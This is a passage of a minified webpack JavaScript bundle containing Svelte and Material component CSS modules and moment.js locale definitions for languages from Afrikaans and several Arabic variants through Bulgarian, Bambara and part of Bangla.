input.svelte-17qb5ew:-ms-input-placeholder{color:var(--disabledPlaceholderColor,#c1c6cc);opacity:var(--disabledPlaceholderOpacity,1)}.selectContainer.disabled.svelte-17qb5ew input.svelte-17qb5ew::placeholder{color:var(--disabledPlaceholderColor,#c1c6cc);opacity:var(--disabledPlaceholderOpacity,1)}.selectedItem.svelte-17qb5ew.svelte-17qb5ew{height:var(--height,42px);line-height:var(--height,42px);overflow-x:hidden;padding:var(--selectedItemPadding,0 20px 0 0)}.selectedItem.svelte-17qb5ew.svelte-17qb5ew:focus{outline:none}.clearSelect.svelte-17qb5ew.svelte-17qb5ew{bottom:var(--clearSelectBottom,11px);color:var(--clearSelectColor,#c5cacf);flex:none!important;position:absolute;right:var(--clearSelectRight,10px);top:var(--clearSelectTop,11px);width:var(--clearSelectWidth,20px)}.clearSelect.svelte-17qb5ew.svelte-17qb5ew:hover{color:var(--clearSelectHoverColor,#2c3e50)}.selectContainer.focused.svelte-17qb5ew .clearSelect.svelte-17qb5ew{color:var(--clearSelectFocusColor,#3f4f5f)}.indicator.svelte-17qb5ew.svelte-17qb5ew{color:var(--indicatorColor,#c5cacf);height:var(--indicatorHeight,20px);position:absolute;right:var(--indicatorRight,10px);top:var(--indicatorTop,11px);width:var(--indicatorWidth,20px)}.indicator.svelte-17qb5ew svg.svelte-17qb5ew{fill:var(--indicatorFill,currentcolor);stroke:var(--indicatorStroke,currentcolor);stroke-width:0;display:inline-block;line-height:1}.spinner.svelte-17qb5ew.svelte-17qb5ew{-webkit-animation:svelte-17qb5ew-rotate .75s linear infinite;animation:svelte-17qb5ew-rotate .75s linear infinite;color:var(--spinnerColor,#51ce6c);height:var(--spinnerHeight,20px);position:absolute;right:var(--spinnerRight,10px);top:var(--spinnerLeft,11px);width:var(--spinnerWidth,20px)}.spinner_icon.svelte-17qb5ew.svelte-17qb5ew{bottom:0;display:block;height:100%;left:0;margin:auto;position:absolute;right:0;top:0;-webkit-transform:none;transform-origin:center center;width:100%}.spinner_path.svelte-17qb5ew.svelte-17qb5ew{stroke-dasharray:90;stroke-linecap:round}.multiSelect.svelte-17qb5ew.svelte-17qb5ew{align-items:stretch;display:flex;flex-wrap:wrap;height:auto;padding:var(--multiSelectPadding,0 35px 0 16px)}.multiSelect.svelte-17qb5ew>.svelte-17qb5ew{flex:1 1 50px}.selectContainer.multiSelect.svelte-17qb5ew input.svelte-17qb5ew{margin:var(--multiSelectInputMargin,0);padding:var(--multiSelectInputPadding,0);position:relative}.hasError.svelte-17qb5ew.svelte-17qb5ew{background:var(--errorBackground,#fff);border:var(--errorBorder,1px solid #ff2d55)}@-webkit-keyframes svelte-17qb5ew-rotate{to{transform:rotate(1turn)}}@keyframes svelte-17qb5ew-rotate{to{transform:rotate(1turn)}}",""]);const r=i},9664:(e,t,n)=>{"use strict";n.d(t,{Z:()=>r});var a=n(23645),i=n.n(a)()((function(e){return e[1]}));i.push([e.id,".selection.svelte-ch6bh7{overflow-x:hidden;text-overflow:ellipsis;white-space:nowrap}",""]);const r=i},57948:(e,t,n)=>{"use strict";n.d(t,{Z:()=>r});var a=n(23645),i=n.n(a)()((function(e){return e[1]}));i.push([e.id,"svelte-virtual-list-viewport.svelte-p6ehlv{-webkit-overflow-scrolling:touch;display:block;overflow-y:auto;position:relative}svelte-virtual-list-contents.svelte-p6ehlv,svelte-virtual-list-row.svelte-p6ehlv{display:block}svelte-virtual-list-row.svelte-p6ehlv{overflow:hidden}",""]);const r=i},60784:(e,t,n)=>{"use strict";n.d(t,{Z:()=>r});var a=n(23645),i=n.n(a)()((function(e){return e[1]}));i.push([e.id,"#main-menu-dialog .mdc-dialog__surface{max-width:calc(100vw - 32px)!important;width:750px}#main-menu-dialog .mdc-dialog__content{padding-top:40px!important}#main-menu-dialog .mdc-dialog__title{border-bottom:1px solid rgba(0,0,0,.12);margin-bottom:0}#main-menu-dialog .mdc-button--outlined,#main-menu-dialog .mdc-button--raised{height:auto}",""]);const r=i},81970:(e,t,n)=>{"use strict";n.d(t,{Z:()=>r});var a=n(23645),i=n.n(a)()((function(e){return e[1]}));i.push([e.id,".mdc-button{height:auto;min-height:36px}",""]);const r=i},19653:(e,t,n)=>{"use strict";n.d(t,{Z:()=>r});var a=n(23645),i=n.n(a)()((function(e){return e[1]}));i.push([e.id,".z-index-full.svelte-193iq1{z-index:99999}",""]);const r=i},46583:(e,t,n)=>{"use strict";n.d(t,{Z:()=>r});var a=n(23645),i=n.n(a)()((function(e){return e[1]}));i.push([e.id,".mdc-button{height:auto;min-height:36px}",""]);const r=i},49299:(e,t,n)=>{"use strict";n.d(t,{Z:()=>r});var a=n(23645),i=n.n(a)()((function(e){return e[1]}));i.push([e.id,".items .listItem{border-bottom:1px solid #ccc}.items .item{height:auto!important;line-height:1.6!important;overflow:initial!important;padding-bottom:10px;padding-top:10px;text-overflow:clip!important;white-space:break-spaces!important}",""]);const r=i},23645:e=>{"use strict";e.exports=function(e){var t=[];return t.toString=function(){return this.map((function(t){var n=e(t);return t[2]?"@media ".concat(t[2]," {").concat(n,"}"):n})).join("")},t.i=function(e,n,a){"string"==typeof e&&(e=[[null,e,""]]);var i={};if(a)for(var r=0;r<this.length;r++){var s=this[r][0];null!=s&&(i[s]=!0)}for(var o=0;o<e.length;o++){var d=[].concat(e[o]);a&&i[d[0]]||(n&&(d[2]?d[2]="".concat(n," and ").concat(d[2]):d[2]=n),t.push(d))}},t}},42786:function(e,t,n){!function(e){"use strict";e.defineLocale("af",{months:"Januarie_Februarie_Maart_April_Mei_Junie_Julie_Augustus_September_Oktober_November_Desember".split("_"),monthsShort:"Jan_Feb_Mrt_Apr_Mei_Jun_Jul_Aug_Sep_Okt_Nov_Des".split("_"),weekdays:"Sondag_Maandag_Dinsdag_Woensdag_Donderdag_Vrydag_Saterdag".split("_"),weekdaysShort:"Son_Maa_Din_Woe_Don_Vry_Sat".split("_"),weekdaysMin:"So_Ma_Di_Wo_Do_Vr_Sa".split("_"),meridiemParse:/vm|nm/i,isPM:function(e){return/^nm$/i.test(e)},meridiem:function(e,t,n){return e<12?n?"vm":"VM":n?"nm":"NM"},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Vandag om] LT",nextDay:"[Môre om] LT",nextWeek:"dddd [om] LT",lastDay:"[Gister om] LT",lastWeek:"[Laas] dddd [om] LT",sameElse:"L"},relativeTime:{future:"oor %s",past:"%s gelede",s:"'n paar sekondes",ss:"%d sekondes",m:"'n minuut",mm:"%d minute",h:"'n uur",hh:"%d ure",d:"'n dag",dd:"%d dae",M:"'n maand",MM:"%d maande",y:"'n jaar",yy:"%d jaar"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(n(30381))},14130:function(e,t,n){!function(e){"use strict";var t=function(e){return 0===e?0:1===e?1:2===e?2:e%100>=3&&e%100<=10?3:e%100>=11?4:5},n={s:["أقل من ثانية","ثانية واحدة",["ثانيتان","ثانيتين"],"%d ثوان","%d ثانية","%d ثانية"],m:["أقل من دقيقة","دقيقة واحدة",["دقيقتان","دقيقتين"],"%d دقائق","%d دقيقة","%d دقيقة"],h:["أقل من ساعة","ساعة واحدة",["ساعتان","ساعتين"],"%d ساعات","%d ساعة","%d ساعة"],d:["أقل من يوم","يوم واحد",["يومان","يومين"],"%d أيام","%d يومًا","%d يوم"],M:["أقل من شهر","شهر واحد",["شهران","شهرين"],"%d أشهر","%d شهرا","%d شهر"],y:["أقل من عام","عام واحد",["عامان","عامين"],"%d أعوام","%d عامًا","%d عام"]},a=function(e){return function(a,i,r,s){var o=t(a),d=n[e][t(a)];return 2===o&&(d=d[i?0:1]),d.replace(/%d/i,a)}},i=["جانفي","فيفري","مارس","أفريل","ماي","جوان","جويلية","أوت","سبتمبر","أكتوبر","نوفمبر","ديسمبر"];e.defineLocale("ar-dz",{months:i,monthsShort:i,weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/‏M/‏YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/ص|م/,isPM:function(e){return"م"===e},meridiem:function(e,t,n){return e<12?"ص":"م"},calendar:{sameDay:"[اليوم عند الساعة] LT",nextDay:"[غدًا عند الساعة] LT",nextWeek:"dddd [عند الساعة] LT",lastDay:"[أمس عند الساعة] LT",lastWeek:"dddd [عند الساعة] LT",sameElse:"L"},relativeTime:{future:"بعد %s",past:"منذ %s",s:a("s"),ss:a("s"),m:a("m"),mm:a("m"),h:a("h"),hh:a("h"),d:a("d"),dd:a("d"),M:a("M"),MM:a("M"),y:a("y"),yy:a("y")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:0,doy:4}})}(n(30381))},96135:function(e,t,n){!function(e){"use strict";e.defineLocale("ar-kw",{months:"يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"),monthsShort:"يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"),weekdays:"الأحد_الإتنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"احد_اتنين_ثلاثاء_اربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[اليوم على الساعة] LT",nextDay:"[غدا على الساعة] LT",nextWeek:"dddd [على الساعة] LT",lastDay:"[أمس على الساعة] LT",lastWeek:"dddd [على الساعة] LT",sameElse:"L"},relativeTime:{future:"في %s",past:"منذ %s",s:"ثوان",ss:"%d ثانية",m:"دقيقة",mm:"%d دقائق",h:"ساعة",hh:"%d ساعات",d:"يوم",dd:"%d أيام",M:"شهر",MM:"%d أشهر",y:"سنة",yy:"%d سنوات"},week:{dow:0,doy:12}})}(n(30381))},56440:function(e,t,n){!function(e){"use strict";var t={1:"1",2:"2",3:"3",4:"4",5:"5",6:"6",7:"7",8:"8",9:"9",0:"0"},n=function(e){return 0===e?0:1===e?1:2===e?2:e%100>=3&&e%100<=10?3:e%100>=11?4:5},a={s:["أقل من ثانية","ثانية واحدة",["ثانيتان","ثانيتين"],"%d ثوان","%d ثانية","%d ثانية"],m:["أقل من دقيقة","دقيقة واحدة",["دقيقتان","دقيقتين"],"%d دقائق","%d دقيقة","%d دقيقة"],h:["أقل من ساعة","ساعة واحدة",["ساعتان","ساعتين"],"%d ساعات","%d ساعة","%d ساعة"],d:["أقل من يوم","يوم واحد",["يومان","يومين"],"%d أيام","%d يومًا","%d يوم"],M:["أقل من شهر","شهر واحد",["شهران","شهرين"],"%d أشهر","%d شهرا","%d شهر"],y:["أقل من عام","عام واحد",["عامان","عامين"],"%d أعوام","%d عامًا","%d عام"]},i=function(e){return function(t,i,r,s){var o=n(t),d=a[e][n(t)];return 2===o&&(d=d[i?0:1]),d.replace(/%d/i,t)}},r=["يناير","فبراير","مارس","أبريل","مايو","يونيو","يوليو","أغسطس","سبتمبر","أكتوبر","نوفمبر","ديسمبر"];e.defineLocale("ar-ly",{months:r,monthsShort:r,weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/‏M/‏YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/ص|م/,isPM:function(e){return"م"===e},meridiem:function(e,t,n){return e<12?"ص":"م"},calendar:{sameDay:"[اليوم عند الساعة] LT",nextDay:"[غدًا عند الساعة] LT",nextWeek:"dddd [عند الساعة] LT",lastDay:"[أمس عند الساعة] LT",lastWeek:"dddd [عند الساعة] LT",sameElse:"L"},relativeTime:{future:"بعد %s",past:"منذ %s",s:i("s"),ss:i("s"),m:i("m"),mm:i("m"),h:i("h"),hh:i("h"),d:i("d"),dd:i("d"),M:i("M"),MM:i("M"),y:i("y"),yy:i("y")},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},week:{dow:6,doy:12}})}(n(30381))},47702:function(e,t,n){!function(e){"use strict";e.defineLocale("ar-ma",{months:"يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"),monthsShort:"يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"),weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"احد_اثنين_ثلاثاء_اربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[اليوم على الساعة] LT",nextDay:"[غدا على الساعة] LT",nextWeek:"dddd [على الساعة] LT",lastDay:"[أمس على الساعة] LT",lastWeek:"dddd [على الساعة] LT",sameElse:"L"},relativeTime:{future:"في %s",past:"منذ %s",s:"ثوان",ss:"%d ثانية",m:"دقيقة",mm:"%d دقائق",h:"ساعة",hh:"%d ساعات",d:"يوم",dd:"%d أيام",M:"شهر",MM:"%d أشهر",y:"سنة",yy:"%d سنوات"},week:{dow:1,doy:4}})}(n(30381))},16040:function(e,t,n){!function(e){"use strict";var t={1:"١",2:"٢",3:"٣",4:"٤",5:"٥",6:"٦",7:"٧",8:"٨",9:"٩",0:"٠"},n={"١":"1","٢":"2","٣":"3","٤":"4","٥":"5","٦":"6","٧":"7","٨":"8","٩":"9","٠":"0"};e.defineLocale("ar-sa",{months:"يناير_فبراير_مارس_أبريل_مايو_يونيو_يوليو_أغسطس_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"),monthsShort:"يناير_فبراير_مارس_أبريل_مايو_يونيو_يوليو_أغسطس_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"),weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/ص|م/,isPM:function(e){return"م"===e},meridiem:function(e,t,n){return e<12?"ص":"م"},calendar:{sameDay:"[اليوم على الساعة] LT",nextDay:"[غدا على الساعة] LT",nextWeek:"dddd [على الساعة] LT",lastDay:"[أمس على الساعة] LT",lastWeek:"dddd [على الساعة] LT",sameElse:"L"},relativeTime:{future:"في %s",past:"منذ %s",s:"ثوان",ss:"%d ثانية",m:"دقيقة",mm:"%d دقائق",h:"ساعة",hh:"%d ساعات",d:"يوم",dd:"%d أيام",M:"شهر",MM:"%d أشهر",y:"سنة",yy:"%d سنوات"},preparse:function(e){return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g,(function(e){return n[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},week:{dow:0,doy:6}})}(n(30381))},37100:function(e,t,n){!function(e){"use strict";e.defineLocale("ar-tn",{months:"جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"),monthsShort:"جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"),weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[اليوم على الساعة] LT",nextDay:"[غدا على الساعة] LT",nextWeek:"dddd [على الساعة] LT",lastDay:"[أمس على الساعة] LT",lastWeek:"dddd [على الساعة] LT",sameElse:"L"},relativeTime:{future:"في %s",past:"منذ %s",s:"ثوان",ss:"%d ثانية",m:"دقيقة",mm:"%d دقائق",h:"ساعة",hh:"%d ساعات",d:"يوم",dd:"%d أيام",M:"شهر",MM:"%d أشهر",y:"سنة",yy:"%d سنوات"},week:{dow:1,doy:4}})}(n(30381))},30867:function(e,t,n){!function(e){"use strict";var t={1:"١",2:"٢",3:"٣",4:"٤",5:"٥",6:"٦",7:"٧",8:"٨",9:"٩",0:"٠"},n={"١":"1","٢":"2","٣":"3","٤":"4","٥":"5","٦":"6","٧":"7","٨":"8","٩":"9","٠":"0"},a=function(e){return 0===e?0:1===e?1:2===e?2:e%100>=3&&e%100<=10?3:e%100>=11?4:5},i={s:["أقل من ثانية","ثانية واحدة",["ثانيتان","ثانيتين"],"%d ثوان","%d ثانية","%d ثانية"],m:["أقل من دقيقة","دقيقة واحدة",["دقيقتان","دقيقتين"],"%d دقائق","%d دقيقة","%d دقيقة"],h:["أقل من ساعة","ساعة واحدة",["ساعتان","ساعتين"],"%d ساعات","%d ساعة","%d ساعة"],d:["أقل من يوم","يوم واحد",["يومان","يومين"],"%d أيام","%d يومًا","%d يوم"],M:["أقل من شهر","شهر واحد",["شهران","شهرين"],"%d أشهر","%d شهرا","%d شهر"],y:["أقل من عام","عام واحد",["عامان","عامين"],"%d أعوام","%d عامًا","%d عام"]},r=function(e){return function(t,n,r,s){var o=a(t),d=i[e][a(t)];return 2===o&&(d=d[n?0:1]),d.replace(/%d/i,t)}},s=["يناير","فبراير","مارس","أبريل","مايو","يونيو","يوليو","أغسطس","سبتمبر","أكتوبر","نوفمبر","ديسمبر"];e.defineLocale("ar",{months:s,monthsShort:s,weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/‏M/‏YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/ص|م/,isPM:function(e){return"م"===e},meridiem:function(e,t,n){return e<12?"ص":"م"},calendar:{sameDay:"[اليوم عند الساعة] LT",nextDay:"[غدًا عند الساعة] LT",nextWeek:"dddd [عند الساعة] LT",lastDay:"[أمس عند الساعة] LT",lastWeek:"dddd [عند الساعة] LT",sameElse:"L"},relativeTime:{future:"بعد %s",past:"منذ %s",s:r("s"),ss:r("s"),m:r("m"),mm:r("m"),h:r("h"),hh:r("h"),d:r("d"),dd:r("d"),M:r("M"),MM:r("M"),y:r("y"),yy:r("y")},preparse:function(e){return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g,(function(e){return n[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},week:{dow:6,doy:12}})}(n(30381))},31083:function(e,t,n){!function(e){"use strict";var t={1:"-inci",5:"-inci",8:"-inci",70:"-inci",80:"-inci",2:"-nci",7:"-nci",20:"-nci",50:"-nci",3:"-üncü",4:"-üncü",100:"-üncü",6:"-ncı",9:"-uncu",10:"-uncu",30:"-uncu",60:"-ıncı",90:"-ıncı"};e.defineLocale("az",{months:"yanvar_fevral_mart_aprel_may_iyun_iyul_avqust_sentyabr_oktyabr_noyabr_dekabr".split("_"),monthsShort:"yan_fev_mar_apr_may_iyn_iyl_avq_sen_okt_noy_dek".split("_"),weekdays:"Bazar_Bazar ertəsi_Çərşənbə axşamı_Çərşənbə_Cümə axşamı_Cümə_Şənbə".split("_"),weekdaysShort:"Baz_BzE_ÇAx_Çər_CAx_Cüm_Şən".split("_"),weekdaysMin:"Bz_BE_ÇA_Çə_CA_Cü_Şə".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[bugün saat] LT",nextDay:"[sabah saat] LT",nextWeek:"[gələn həftə] dddd [saat] LT",lastDay:"[dünən] LT",lastWeek:"[keçən həftə] dddd [saat] LT",sameElse:"L"},relativeTime:{future:"%s sonra",past:"%s əvvəl",s:"bir neçə saniyə",ss:"%d saniyə",m:"bir dəqiqə",mm:"%d dəqiqə",h:"bir saat",hh:"%d saat",d:"bir gün",dd:"%d gün",M:"bir ay",MM:"%d ay",y:"bir il",yy:"%d il"},meridiemParse:/gecə|səhər|gündüz|axşam/,isPM:function(e){return/^(gündüz|axşam)$/.test(e)},meridiem:function(e,t,n){return e<4?"gecə":e<12?"səhər":e<17?"gündüz":"axşam"},dayOfMonthOrdinalParse:/\d{1,2}-(ıncı|inci|nci|üncü|ncı|uncu)/,ordinal:function(e){if(0===e)return e+"-ıncı";var n=e%10,a=e%100-n,i=e>=100?100:null;return e+(t[n]||t[a]||t[i])},week:{dow:1,doy:7}})}(n(30381))},9808:function(e,t,n){!function(e){"use strict";function t(e,t){var n=e.split("_");return t%10==1&&t%100!=11?n[0]:t%10>=2&&t%10<=4&&(t%100<10||t%100>=20)?n[1]:n[2]}function n(e,n,a){return"m"===a?n?"хвіліна":"хвіліну":"h"===a?n?"гадзіна":"гадзіну":e+" "+t({ss:n?"секунда_секунды_секунд":"секунду_секунды_секунд",mm:n?"хвіліна_хвіліны_хвілін":"хвіліну_хвіліны_хвілін",hh:n?"гадзіна_гадзіны_гадзін":"гадзіну_гадзіны_гадзін",dd:"дзень_дні_дзён",MM:"месяц_месяцы_месяцаў",yy:"год_гады_гадоў"}[a],+e)}e.defineLocale("be",{months:{format:"студзеня_лютага_сакавіка_красавіка_траўня_чэрвеня_ліпеня_жніўня_верасня_кастрычніка_лістапада_снежня".split("_"),standalone:"студзень_люты_сакавік_красавік_травень_чэрвень_ліпень_жнівень_верасень_кастрычнік_лістапад_снежань".split("_")},monthsShort:"студ_лют_сак_крас_трав_чэрв_ліп_жнів_вер_каст_ліст_снеж".split("_"),weekdays:{format:"нядзелю_панядзелак_аўторак_сераду_чацвер_пятніцу_суботу".split("_"),standalone:"нядзеля_панядзелак_аўторак_серада_чацвер_пятніца_субота".split("_"),isFormat:/\[ ?[Ууў] ?(?:мінулую|наступную)? ?\] ?dddd/},weekdaysShort:"нд_пн_ат_ср_чц_пт_сб".split("_"),weekdaysMin:"нд_пн_ат_ср_чц_пт_сб".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY г.",LLL:"D MMMM YYYY г., HH:mm",LLLL:"dddd, D MMMM YYYY г., HH:mm"},calendar:{sameDay:"[Сёння ў] LT",nextDay:"[Заўтра ў] LT",lastDay:"[Учора ў] LT",nextWeek:function(){return"[У] dddd [ў] LT"},lastWeek:function(){switch(this.day()){case 0:case 3:case 5:case 6:return"[У мінулую] dddd [ў] LT";case 1:case 2:case 4:return"[У мінулы] dddd [ў] LT"}},sameElse:"L"},relativeTime:{future:"праз %s",past:"%s таму",s:"некалькі секунд",m:n,mm:n,h:n,hh:n,d:"дзень",dd:n,M:"месяц",MM:n,y:"год",yy:n},meridiemParse:/ночы|раніцы|дня|вечара/,isPM:function(e){return/^(дня|вечара)$/.test(e)},meridiem:function(e,t,n){return e<4?"ночы":e<12?"раніцы":e<17?"дня":"вечара"},dayOfMonthOrdinalParse:/\d{1,2}-(і|ы|га)/,ordinal:function(e,t){switch(t){case"M":case"d":case"DDD":case"w":case"W":return e%10!=2&&e%10!=3||e%100==12||e%100==13?e+"-ы":e+"-і";case"D":return e+"-га";default:return e}},week:{dow:1,doy:7}})}(n(30381))},68338:function(e,t,n){!function(e){"use strict";e.defineLocale("bg",{months:"януари_февруари_март_април_май_юни_юли_август_септември_октомври_ноември_декември".split("_"),monthsShort:"яну_фев_мар_апр_май_юни_юли_авг_сеп_окт_ное_дек".split("_"),weekdays:"неделя_понеделник_вторник_сряда_четвъртък_петък_събота".split("_"),weekdaysShort:"нед_пон_вто_сря_чет_пет_съб".split("_"),weekdaysMin:"нд_пн_вт_ср_чт_пт_сб".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[Днес в] LT",nextDay:"[Утре в] LT",nextWeek:"dddd [в] LT",lastDay:"[Вчера в] LT",lastWeek:function(){switch(this.day()){case 0:case 3:case 6:return"[Миналата] dddd [в] LT";case 1:case 2:case 4:case 5:return"[Миналия] dddd [в] LT"}},sameElse:"L"},relativeTime:{future:"след %s",past:"преди %s",s:"няколко секунди",ss:"%d секунди",m:"минута",mm:"%d минути",h:"час",hh:"%d часа",d:"ден",dd:"%d дена",w:"седмица",ww:"%d седмици",M:"месец",MM:"%d месеца",y:"година",yy:"%d години"},dayOfMonthOrdinalParse:/\d{1,2}-(ев|ен|ти|ви|ри|ми)/,ordinal:function(e){var t=e%10,n=e%100;return 0===e?e+"-ев":0===n?e+"-ен":n>10&&n<20?e+"-ти":1===t?e+"-ви":2===t?e+"-ри":7===t||8===t?e+"-ми":e+"-ти"},week:{dow:1,doy:7}})}(n(30381))},67438:function(e,t,n){!function(e){"use strict";e.defineLocale("bm",{months:"Zanwuyekalo_Fewuruyekalo_Marisikalo_Awirilikalo_Mɛkalo_Zuwɛnkalo_Zuluyekalo_Utikalo_Sɛtanburukalo_ɔkutɔburukalo_Nowanburukalo_Desanburukalo".split("_"),monthsShort:"Zan_Few_Mar_Awi_Mɛ_Zuw_Zul_Uti_Sɛt_ɔku_Now_Des".split("_"),weekdays:"Kari_Ntɛnɛn_Tarata_Araba_Alamisa_Juma_Sibiri".split("_"),weekdaysShort:"Kar_Ntɛ_Tar_Ara_Ala_Jum_Sib".split("_"),weekdaysMin:"Ka_Nt_Ta_Ar_Al_Ju_Si".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"MMMM [tile] D [san] YYYY",LLL:"MMMM [tile] D [san] YYYY [lɛrɛ] HH:mm",LLLL:"dddd MMMM [tile] D [san] YYYY [lɛrɛ] HH:mm"},calendar:{sameDay:"[Bi lɛrɛ] LT",nextDay:"[Sini lɛrɛ] LT",nextWeek:"dddd [don lɛrɛ] LT",lastDay:"[Kunu lɛrɛ] LT",lastWeek:"dddd [tɛmɛnen lɛrɛ] LT",sameElse:"L"},relativeTime:{future:"%s kɔnɔ",past:"a bɛ %s bɔ",s:"sanga dama dama",ss:"sekondi %d",m:"miniti kelen",mm:"miniti %d",h:"lɛrɛ kelen",hh:"lɛrɛ %d",d:"tile kelen",dd:"tile %d",M:"kalo kelen",MM:"kalo %d",y:"san kelen",yy:"san %d"},week:{dow:1,doy:4}})}(n(30381))},76225:function(e,t,n){!function(e){"use strict";var t={1:"১",2:"২",3:"৩",4:"৪",5:"৫",6:"৬",7:"৭",8:"৮",9:"৯",0:"০"},n={"১":"1","২":"2","৩":"3","৪":"4","৫":"5","৬":"6","৭":"7","৮":"8","৯":"9","০":"0"};e.defineLocale("bn-bd",{months:"জানুয়ারি_ফেব্রুয়ারি_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্টেম্বর_অক্টোবর_নভেম্বর_ডিসেম্বর".split("_"),monthsShort:"জানু_ফেব্রু_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্ট_অক্টো_নভে_ডিসে".split("_"),weekdays:"রবিবার_সোমবার_মঙ্গলবার_বুধবার_বৃহস্পতিবার_শুক্রবার_শনিবার".split("_"),weekdaysShort:"রবি_সোম_মঙ্গল_বুধ_বৃহস্পতি_শুক্র_শনি".split("_"),weekdaysMin:"রবি_সোম_মঙ্গল_বুধ_বৃহ_শুক্র_শনি".split("_"),longDateFormat:{LT:"A h:mm সময়",LTS:"A h:mm:ss সময়",L:"DD/MM/YYYY",LL:"D MMMM 